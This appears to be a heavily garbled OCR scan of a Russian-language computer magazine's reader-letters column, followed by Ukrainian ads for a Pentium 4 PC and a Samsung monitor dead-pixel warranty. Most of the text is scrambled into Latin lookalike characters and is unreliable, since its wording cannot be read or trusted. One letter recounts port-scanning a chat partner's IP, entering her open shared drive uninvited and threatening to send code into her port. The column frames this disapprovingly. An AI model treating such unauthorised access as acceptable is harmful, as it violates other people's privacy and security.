Ty Uk MHyo npobnemy (Mnu 3HaeT Toro, KTo
3HOET...)

TPYPINb

reader@mycomp.com.ua

370 7 Bam ceitvac B uyTh Honee passep-
HYTOM BMOE, Yem Hanucan Anekc, Npeacra-
sun ero npotnemy...

M nonyTHO x04eTCa BbiAATE HECKONLKO
NPM3bIBOB (NOMHUTE, KOK POHbLIE MEYATANN
K HOCTYNaKOLWM BOMbLUKMM COBETCKMM NPA3A-
HAKAM — BOPYT MOMOXET):

«YBOXQEMbie BETEDAHbI HOCTONLHON KOM-
AbIOTEPLHHYL. [enTecs BOCNOMHHOHHAMH O
caepluenHax 1 nobenaxly

«OcHosononoxHnku! Bocrmraem uHgop-
MALUHOHHYIO MOJTOQEXb B AyXxe BEDHOCTH Hae-
am «GV Basic’arl»

«OnepaTuBHAs NaMATL TAK Xe Hencyep-
naema xak 5.25" guckeraly

«[lo anpascrayer morysusi komnsiotep [lo-
wck 0010 — spoxHosuTens HeiHeWwHMX noben
1 cBEpLIEHNHy

Ewe xoture?

Mpuaymsisaitte u npucsinante. Onybnu-
KYEM.

A B 30BEPLIEHWE ITOTO CErOAHAWHErO
pa3rosopa obbasnaem KoMkypc Ha cambii
CTApbIM NePCOHANbHbIH KOMABIOTEP, KOTOPbIN
COXPAHUNCA Yy BAC AOMA (B KNOAOBKE, HA OH-
TPECONM, B YYAGHE... HO MMCBMEHHOM CTONE).
Mpuwnute Ha oapec beceakn oumpposax-
Hoe $OTO, PACCKAXUTE O MOMOAOCTM M-
WKHKM, O BOEBLIX M TPYAOBLIX NOABMIAX, MO-
XETE COBEPLIEHHO 3QCNYXEHHO HEKOHTPO-
NMPYEMO XBOCTATLCA CBOMMM CBEPLUEHHAMN
Y DOCTUXEHUAMM.

Bnagensuy camoro apesHero pesanca —
npmal

HYutaem nouty aanee. Y Bugum, 4TO HA
CMEHy NATPUAPXaM MPUXOOWT CPEeaHee no-
xonewme. [lymaere, um TOXE BCKPYXMAW ro-
NOBY COBDEMEHHLIE NEPENOBbIE ABYX-TPEX-
YETHIPEX-AAEPHBIE NPOABUHYTHIE TEXHONOTMIS
W onn pasniobunu u no3abeinu csom nep-
BLIE UrPYLLKH.

Xa!

«Canam, Tpypns! Xotenocs 6si 06paTHTL-
CA K HapORY:

«Bnagetowme mavoxamm m gpesHee, ao-
BOMIbHLIE XM3HbKD — NHMWHTE HO mendor_
43@list.ru. Quers xoveTcs noobLATsCA € Ta-
kMM, KOK cam. Moxer, BMecTe 4To-To Tvna
noprana cosgammum (kax pasz mysao HTML,
Q 4TO HO CAHAT BLINOXMTH — MOKQ HE NPHAY-
man)». Mendor

Npunoxu xakepal

KTo HaC NOCTOAHHO YMTAET, NOMHWT, KAK
HenasHo mbl 8 becenke scnyx pyranuce Ha
XQKEPOB, KOTOpbIE CBOEH TPYCOBATOM QHO-
HUMHOM HOrMOCTbIO Pa36YaMNM HALM BO3MY-
warensHsie cnocobroctu. beno naxe npep-
NOXEHO YYPEAUT TBOPHECKMI NUTEPATYPHBIM
YFOMOK, B KOTOPOM YMTATENN MOrM Bkl BUP-
TYQALHO NOKOAQTMTE Yy4eNO MEP3KOTO XaKe-
pa: BLICKA3ATL BCE, YTO O HEM OYMAHKOT.

Mocrynunu nepesie npoussenexuns. He-
KOTOPBLIE M3 HWX NPOXOAAT CENYAC OCTOPOX-
HYIO CTAAMIO GUAONOMMYECKOTO PA3MUHUPO-
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BAHWA OT KPEMKWX B3PbIBYATHIX BHIPGXKEHWM
(Hac xe u npomeuHyTHE fETMWKK YMTAKDT).
Ho ecTs TBOpEHMS, KOTOPbIE MOXHO XOTh CEM-
yac cbpackiBaTh HA ronosLE Nybnuke.

Hanpumep, Basker ua Oneccel npucnan
noxenarue. B Hem astop obpawaetcs
OBLEKTY BHUMOHUA «HA Thi». D70, B NPUHLA-
ne, He XenatensHo HA TOT MOmeHT obwie-
HUA, KOrAa COBecenHvku ewe obuuMansHO
He npeacTaenexs apyr apyry. Ho anonmm-
HOCTb 3TA OIHOCTOPOHHSA, KOK Bbl CAMM MO~
HumaeTe. Mbl C YAOBONLCTBUEM 3ATNAHYM Ob)
B KPQCHBIE CBETALLMECA IMA30 KOMNLIOTEPHO-
rO B3MIOMLUMKA, OOHAKO OH COM, KOK MPasn-
N0, 3TOFO HE XOMET.

«Crbiuib, xakumk, 4706 y 768 KaXA6IH PA3
DBAIICA KOHHEKT HQ 99% BbINONHEHKS, KOFAa
ThI 3GMBAELWS CBOM BHPYCbl HO COATH

Yro, copporHynmcs?l

Mpyem aTOMHBIX QHTUXAKEPCKHUX BHIPAXE-
HUM NPOJONXAETCA.

A NS BCEX HAWMX YeCTHbIX uMTaTenew
NPUBOAMM NOXENAHKE, NOXOXEE NO CMBICTTY,
HO, 06pPATUTE BHMMAHME — HACKONbKO HO-
nee Tennoe u npuatHoe!

hR

lopu, ropu acHo,

Yrobsl He noracno —

Muaukatop Online, noka xasoem cep-
BUC-NOK.

Mendor

«Ecng xouewn Obimb congamoM —
obpygeali Qexaka MameM..»

Kak scerna, netHss ceccus Hanana He-
OXNOAHHO. TOﬂbKO'TOﬂbKO CAanu XxBOCTsl 30
3UMHIOID... M BHOBb: CONHUE CBETWT, HO HE
rpeert, UBETsl PACTYT, HO HE MAXHYT, AEByL-
KK CMOTPAT HA BAC, HO He B1OAaT...

Bce ctpanatot ceccuen. Opma karero-
pHs CTYAEHTOB NPUKNQABIBAET BCE YCUAMA,
4TOBbI YTO-TO CPOYHO Y3HATE H CPOYHO NO-
YMHETh, APYras — 4ToBb OCTATHCA TYMbIMM.
JIOBONBITHO, YTO NO IHEPTETUHECKM W hu-
HAHCOBbLIM 3QTPATOM BTOPOR CNOCOB Xu-
TUA HOMHOTO CNOXHEE U yTOMMTeanee. HO
M OH UMEeeT CBOMX MHOTOYMNCNEHHbBIX NOKNOH-
HUKOB.

Bpats ¢ nocnearnx ocoben npumep —
HepasymHO, 41O OCTAETCA: BHUMATL HACTAB-
neHuam npenoaasatenen? MoxHo, HO He
KPEaTUBHO 3TO KAK-TO, OTBLIKIM YXE... 3HA-
YT, HYXHO NPUCYIATECS K COBETAM BAWMWX
xe Tosapuwer MK-wHnkos.

«[obporo spemenn cyrok! 3naews,
Tpypne 30METHA MHTEPECHBIR GAKT: Ha CTO-
ne moem pabovem (1 xoTopeni ¢ bonsiwo#
6yKBbI TOXE| CTANO KOK-TO MANIO MECTQ, BCE
3ABONEHO WNOPAMH, BUNETamMM 1, KaK HH
cTpanto, nobusmeim MK.. Houwon nepebu-
pats: Ha ogHom crone apxus MK, HauuHas
¢ 17 v 3QKGHYHMBOS... XOTS HET, HE 30KOHYHM-

8a4...




| Konoea pegaxmopes

Tak BoT, © Yem 9. moan, abUTYDHEHTb! 1
8ce, k10 cgoer 4ro-nboll! Toroestecs 3apa-
neelll flerve 6yaer!!!

P.S. K X13HeHHbIM 5K30MEHOM FOTOBLTECH
Toxe 3apareelll Hamroro npoue notom sce
npotexaet!

P.P.S. 1 ewe Bonpoc & beceaxy: KAK HE
UIPATh, TOTOBACH K DK3AMEHY?

3aparee cnacubols Mihanich

Bonee scero mers Tporyna 3a60ta o um-
TATENbCKUX XU3HEHHbLIX 3K3AMEHAX. A BeOb
IleﬁCrBMTeﬂbHO: B XM3HEHHbIX 3K3OMEHOX 6|r1'
NET NEPETAHYTL HE AAKDT M CNIUCATL NPU 3TOM
HE NO3BONSIOT. M aaxe 4acTo mpuxoanTca
otseuats He3 noarotosku. M Ha Gann seiwe
30 370 He CTaBAT, 0buaHo, na?

Bot onste, kcTath, 8 TEMY HAWErO PAs-
rOBOPQ YUTATENLCKOE XOKKY:

R

Bolyuun — cnan — scio Hous B Starcraft. .

MNoetopsats N pasa.

Ceceus, ogHako...

Mendor

Bbi noMHMTE, 4TO Y BAC €le Npocunm Co-
BETA, KK APArOLEHHbIE YACK Nepen 3k3ame-
HOM TPATWUTL HA MOAFOTOBKY K OHOMY, O HE
Ha urpywikne Y1o craxerte?

Xoxkyapui
«llo6poro ans, waHosHmii Tpypas! Oce
nepesipss NOWTy, i CKNQAMCL HOCTYNHI Pag-
Kn»!

TpeTif TwxaeHs niapsa

Jlnwe cnam i poscunkm.

CamoTHICTb...

Bagum ViruZ Bitomcoxui

Kak nomous oguHokomy yenoseky?

Bonpoc e B Tom, kakum metogpome A s
TOM, Kak 4enoseka HanTh. Beas — no onpe-
DENEHUIO — BO3NE HETO HET HWKOTO, YTO6HI
3AMETUTE M YTELMTS (MK HOrPY3UTL CBOMMN
NPOBREMAMM, YTO NONTM OAHO W TO Xe). Mo-
XET Bbl 3HOETE, KAK MOCTPOUTL HEKWME CKa-
HEPbI OAMHOKUX NMYHOCTEN?

3auem?

Kak 310 3auem: seps wm nnoxol Kto x,
KGK HE Bbl, MOMOXET YTOMNEHHOMY 06CTOR-
TENLCTBAMM KOMNBIOTEPLLUKY, MOAABNEHHO W
6e3pa3nNUIHO KOBLIPAIOWEMY KNOBHUATYPY?S

Hasorite nopbepem nobpsie cnosa, npu-
wnem nx 8 becenky n onybnukyem.

Mnin naBaiTe NONPOCMM ORAMHOKUX HOM B
4EM-TO NOMOYb. BbITh HyXHBIMK lOIAM — 3TO
OHEHB CHTbHBIF (HO BECNOXMENBHBIN) HOPKOTHK,

Cuflu v gymai...

BoT 1 HOgENCs, YTO UTO-TO MOXELb B 3TOM
30K03AHHOM MHPE OPUIMHANBHOE MPOTEHEPMTS. ..

Kak 661 He Tak!

brno HenoeHo peno: npeanoxun uuta-
Teb PELUMTL OPUIMHONBHYIO NPOBREMY: Ky-
AQ AEBATH 30NEXM MCMONB3OBAHHBIX KOMMOKT-
AMCKOB (3TO TEX, 4TO NEePeCTaNU YUTATLCA, HO
KQKMM-TO HyLOM YUENenn OT APOCTH U CNpa-
BEANMBOrO BOSME3AMA MX BNOAENbUes).

Tpypnb npeanoxun, 4uTaTeny OTKAMKHY-
nuce. Mowna auckycems, kak Yepes napy ner
HE OKA3ATbCa NOrPEBEHHLIM NOA LECATUMET-
pOBbiM Coem BecnonesHsix GrecTawmx kpy-
XKOMKOB...

M uto okasbisaetca: He mbl oaHn obec-
nokoers cyabbamu nnaxets 3emns. Or-

MO KOMIbIOTEP

pomHoe 3konoruueckoe cnacubo Bagnmy
Mapkosy, KOTOpPLIM OTPLIN A8 HAC BCEX
CChINKY:

«¥Y BOC TyT 66171 PAIFOBOP... A 8 Ciyyad-
Ho Hawen 8 CeTw, Becssa nobonsiTHO: hitp://
eye.moof.ru/note/9534 html. 34 cnocoba npu-
menerns CD».

Tyt ecTs v Takme Cnocabsl, 4TO Mbl yxe
NPUayManu u onybrmkosany, HO eCTb U 3k-
30THuHbie. Bot sam umrars:

«MOXHO yKDACUTB MMst CTEHKY — OHM KDQ-
cugo oTpaxawoT. Bce Hacrosiume xakepst
TOMBLKO TOK 1 4ENaIOT.

CH,L]IOKH MOXHO wmCnoab30B8ATL B LKONE
HO yPOKAX HYEPYEHMS KAK UHPKYb PUKCHDO-
BAHHOIO paawyca.

MOXHO CMOTDETL B ALIPOYKY HO MHPS.

1 30kOHOMEPHBIM BbIBOA!

«Ho raBHoe — 370 He CoBATL CugIoKHU B
CD-ppavis! 3avem vaeio nopTutses

Moxer, nobasute ewe napy AecaTouKos
METOOBS

baiikonpom MK

Ecru paccnpocuTts Hawnx sutarenen o
KU3HW, 3HAETE, CKONBKO MMTEPECHBIX UCTO-
puit cmoxem nountatse! 3naete?

Xopowo, Tak H4TO X Camu HOM HE NuLLe-
te¢! Beab B 3TOM TBOpYECKOM gene rnas-
HOe — HauaTs!

A noTom, rnaas, KK Bel NONyYQeTe pe-
AAKUMOHHBIM MPU3 — KANeHaaps, M Apyrue
MOTAHYTCA K KNQABAATYPE.

BoT ana 3aTpaBKM WCTOPMA M3 XM3HM HO-
wero 4oBoNLHO Yactoro becepoyHoro noce-
TUTENA.

«3apascrsyi, Tpypns! Ha sroii negene s
NONQN B O4EHb HENPHUATHYIO CHTYAUHIO.

Kopovue, cnpen s B yare. Yat To1 Bbin1 C
Hebonbiwm npnbBambacom — B nHpe Kpo-
ME HUKQ M NONA MOXHO 66110 yanaTs IP-
anpec.

lenars 6wino Hewero. Panree yrpo. Ho
KOHUQ 30Ka4kH porpomms ewe 70 muryT.
U TyT mHE CTyKHYNO B rOIOBY MPOCKAHHPO-
BaTb CETb HA HaMmane Abpok. lopr-ckanep
BCErNQ CO MHOH, M yXE YEDE3 MUHYTY, Bbi-
6paB nepewiA NONABLMICA HuK, 8 8BMBAN
AMANQ30Hb! CKAHMPOBAHHS.

loko Tom cyTs Ba eno, s 3asen pasro-
BOp ¢ Bnagenvuel Huka. Pasrosop Tek, kax
BCEFAQ, HH O YEM, H B ITOT MOMEHT MEHS AED-
HY/IO MOCMOTPETL HA PE3YNbTaThl CKAHMPO-
sarua, OTKDHITO HETLIPE KOMNA, HO K TPEM
HYXHO NpOBHTL NAPONb.

Onur — otkpeT nonHocTsIO!

lMocne HebonsLwor koHPHrypaumm npo-
Kcu-cepsepa u Bpayaepa s 8 NPOBOAHHKE
ysunen anck C. Bce 6bi Huuero — Ho me-
HA NOTAHYNO NOCMOTPETL aAPec... Y TyT me-

Ha Kax BoAo# xonoaHo# okatumm! [P otkpei-
TOH matumHbl cosnaaan ¢ IP moesi cobecea-
Haysill!

4 cpasy xe orknowmncs or ee xomna. B
DA3rOBOPE HEPe3 NOPY MMHYT  NPH3HANCS,
HTO TOJIBKO HTO MNORKMOYMICA K €€ KOMIY.
OHa ouvers obuaenacs u, KMHys MeHs B ur-
HOP, yLna.

Bce 66 Huvero, HO k BeYeDy MeHs HaHa-
NG XPaTe COBECTL (M rae OHO TaM 30BANS-
nace?l). Hono Geino sce-Taku M3BMHKTLCA Ne-
Den AeBylwKOH, Bedb f NEACTBHTENbHO Che-
QT HEXOPOLLO.

nOMCKM Bagaennubl nNO HUKY HHYErO He
aamn. B 4arosoii uHge Hawencs Toneko ee
HMK W yBneweHus (myasixa, pok). Toxe He
rycro.

Crnacnbo f06pbim moRsm: BCTDETUNM ee
W MONPOCHM NPOLUEHHS 30 MEHS, HO OHO
6b110 OTBEPIHYTO, A MO Obinkt NOCACHS! -
nepccuiikosi 8 #8@S#.

lMpasaa, 5 nobein Homep ee acekm. V1
Teneps, ecin M 310 HE NPOALET — 3aKHHy
NPSMO €4 B NOPT KQKOH-TO COpTHLLE, KOTO-
Db B IDHHYAHTENLHOM NOPAAKE (HE3OFPY3-
ka Bopaa, k npumepy) npocun 6b1 npoue-
HUS 30 MEHS...

[Mpugercs onate caanTsCs 30 MCXORHMKA...
Ho, aymaro, aeno toro cromr...» SU

Yro 6ynem nenatee CodyscTBoBATH OB-
TOPY, FOBOPMTE My «Qi-a1-ai» WM NOoCOo-
BETYEM UTO-HWMOYLL TpETHE?

Bonpocsl ko scem.

Kak coepxats CMWwKom ymensie pykue

Wnu kak NpepoxpaqnTb QnuHHbIA (HO Ye-
CTHB M OTKPOBEHHbIMA) A3bIK OT M3NNLWHEN
BontosHKe

Kak mMOXHO ymeTs CKQHMTE NOPTHI (BPO-
0e, BCem xe AcHo — ¢y, maseToH!) n npu
3TOM HE 3HATh, YTO XBACTATLCH ITUM HENL3AS

Kak MoxHO BbiTb TaKMM yMHULER: MPOde-
nbiBaTH yansutencHsie Cetesbie Nakoc... Tex-
HUYECKME MPHUEMBI, U OAHOBPEMEHHO HE Mo-
HWMQTL, 4TO AEBYLLKA rOTOBA HOMHOTO 60ﬂb‘
Wwe nokasaTs A0BPOBOALHO, YeM B CyHae,
KOrnd 3a HEeM NOACMATPUBAKOTS

Ho Ha Tpypnees 83rnsaa, GBTOP NUCbMa 3a-
cnyxusaet nomown. XenaHue nonpocuTsL
NPOWEHKMA — He NoA AdBNEHWEeM BHELIHWUX
OBCTORTENLCTB, O MPOCTQ NOTOMY, 4TO B 3TOM
€CTb HEOBXOMMMOCTb — 3TO OYEHb BOXHOE
OywesHoe KavecTso!

Moatomy, ay — uuTatensckoe coobuie-
cteo MK-mawos! Ecnu yeupute roe Hesece-
Nylo OBMXEHHYIO OeByLLKY (FNAa3Q onyLueHs!,
nanew Hepsro aasut DEL, ynubka, ecnn ko-
FOQ W MEMBKHET, TO OYEHb YX rPYCTHAS), TaK
NOLOMAMTE K HEW M BECKO TAK CKAXMTE:

«OH xe He xoten obupets... Ja Hanuwm
Tl EMY...»

KOMTIbIOTEP



















He Mae 3HaueHHs, Hackinbku Mane abo paneke Bawe
e . pidHe MICTO - 3aBAsku fgoctyny B IHTepHeT Ta
-,.; P , . npouecopy Intel® Pentium® 4 3 TexHonoriew HT, Ha
6a3i skoro npauoe K artline™h, Bawa ciM's
OTPUMAE YCi NepeBary HOBITHIX TeXHONOriK. Bigkpuite
Ans cebe Linui cBiT - ae 6 Bu He Melwkanu.

nepcoHanbHi KOMN ' TEPH

- AkicTb nigTBepaxeHo ceptudikatom 1ISO 9001
- BupobH1uTBO CepiltHe Ta nig 3aMOBNEHHS
- 30 micsuis rapanTii

9% 3uuxku na NK npea’sBHUKY pexnamu

TechnoPark pentium’ (¥

Kuis, Byn. Conom’anceka 1, 9 nos.
Ten.: (044) 238-8990, 238-8999

Intel, norotunu Intel Inside, Pentium € ToBapHuMi 3Hakamu abo 3apeECTPOBaHUMK TOBapHUMU 3Hakamu Intel Corp. Ta Ti nigpoaaime y CLUA Ta iHwmnx kpiHax.




SAMSUNG DIGI)TalD

everyone's invited; :

Kazumup Manesuy
~r - - L]
"'|OpHIM/l KBagpaTt MIHYC 1 anceMv

XonpnHoro ceiTnoro
nedekTHOro cyobnikcena!

YBara! fkuio Bu 36upaetecs npuadaty TFT-moHiTop Samsung, ue Baxnvee NoBigOMNEHHA —
ana Bac! Komnanis Samsung Electronics, ceitoBwi nigep 3 evpobruutea TFT-moHiTopis,
YyNOBHOBaXeHa 3afBUTU:

Biarenep koMnaHia Samsung Electronics 30608'A3y€TbCA 3aMIHUTU MOHITOR KOPUCTYBa4eBi B
pa3i BUSBNEHHA Xo4a 6 OAHOro CBITNOro AedexkTHOro cybnikcena (4epBOHOrO, 3eNeHoro,
CYMHLOro abo 6inoro) NPOTAroM ABOX TWUXHIB 3 AaTtu npuabdanHs TFT-moHiTopa Samsung
(momeni SyncMaster 172X, 173P, 173P plus, 193P, 193P plus).

Mun BnesHeHi B AKOCTI piAKOKpUCTaniyHUX Matpuue Hawvx TFET-moriTopis. Mu 3anpolwwyemo
Bac noginvti 3 Hamu Lo BNEBHEHICTL | NEpeKoHATHCS B TOMY, HACKINbKK BOHA HEGE3NIACTaBHA.

Anrpl (0482) 379706, 379707 Poma (061) 2209622, 2209621, 2209615
MTI {044) 4583434 Npekcum-  (048) 7772277, 7772266
®okcTpoT IT  {044) 2477037 (ont), 2359172 (po3ap) Latalwoke (044) 2496303

IndhopManits npo MarasuHu Ta aunepis Bu momerte oTpuMaTh 3a TenedionoM into-cnymbu CameyHr EnexTpoHixc:
8-800-5020000 {a38iHKM 3] CTAUIOHAPHUX TeNedOHIB B MEXax YKpaiHW 6e3k0LWTOBHI)

www.samsung.ua

*Inchopmauio NPo AeTaNLHI YMOBM NPOrpaMW Ta YMOBM TapanTii MOXHA OTpUMaTH B IHO-Cnyx6i CameyHr EnekTpoHIke,
a TaKOX y rapaHTinHOMyY TanoHi Ha TFT-MoHITopy




